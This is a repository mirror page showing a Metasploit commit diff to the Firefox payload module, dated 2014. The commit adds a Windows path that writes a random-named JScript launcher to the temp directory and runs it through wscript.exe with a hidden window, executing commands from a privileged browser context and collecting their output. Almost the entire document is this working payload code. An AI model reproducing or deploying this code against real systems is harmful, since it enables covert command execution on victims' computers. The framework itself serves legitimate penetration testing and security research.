infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Rework windows shell to use wscript.

bug/bundler_fix
Joe Vennix 2014-01-03 01:29:34 -06:00
parent 06fb2139b0
commit 7961b3eecd
1 changed files with 54 additions and 15 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

69
lib/msf/core/payload/firefox.rb
View File

@ -33,16 +33,28 @@ module Msf::Payload::Firefox
%Q|
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
var _cmd;
var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
var runCmd = function(cmd) {
var shPath = "/bin/sh";
var shFlag = "-c";
var shEsc = "\\\\$&";
var windows = (ua.indexOf("Windows")>-1);
if (ua.indexOf("Windows")>-1) {
shPath = "C:\\\\Windows\\\\system32\\\\cmd.exe";
shFlag = "/c";
if (windows) {
shEsc = "\\^$&";
var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8)}.js');
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0);
stream.write(jscript, jscript.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
stream.finish();
} else {
stream.close();
}
}
var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8)}";
@ -58,19 +70,46 @@ module Msf::Payload::Firefox
.get("TmpD", Components.interfaces.nsIFile);
stderr.append(stderrFile);
var sh = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
sh.initWithPath(shPath);
var shell = shPath + " " + shFlag + " " + cmd.replace(/\\W/g, shEsc);
shell = shPath + " " + shFlag + " " + (shell + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc);
if (windows) {
var shell = "cmd /c "+cmd;
shell = "cmd /c "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>"+stderr.path;
}
else {
var shell = [shPath, shFlag, cmd.replace(/\\W/g, shEsc)].join(" ");
shell = shPath + " " + shFlag + " " + (shell + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc);
}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
process.init(sh);
process.run(true, [shFlag, shell], 2);
return [readFile(stdout.path), readFile(stderr.path)];
var sh = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
if (windows) {
sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe");
process.init(sh);
var args = [jscriptFile.path, shell];
process.run(true, args, args.length);
} else {
sh.initWithPath(shPath);
process.init(sh);
process.run(true, [shFlag, shell], 2);
}
if (windows) {
jscriptFile.remove(true);
return [cmd+"\\r\\n"+readFile(stdout.path), readFile(stderr.path)];
}
else {
return [readFile(stdout.path), readFile(stderr.path)];
}
};
|
end
end
def jscript_launcher
%Q|
var cmdStr = '';
for (var i = 0; i < WScript.arguments.length; i++) cmdStr += WScript.arguments(i) + " ";
(new ActiveXObject("WScript.Shell")).Run(cmdStr, 0, true);
|
end
end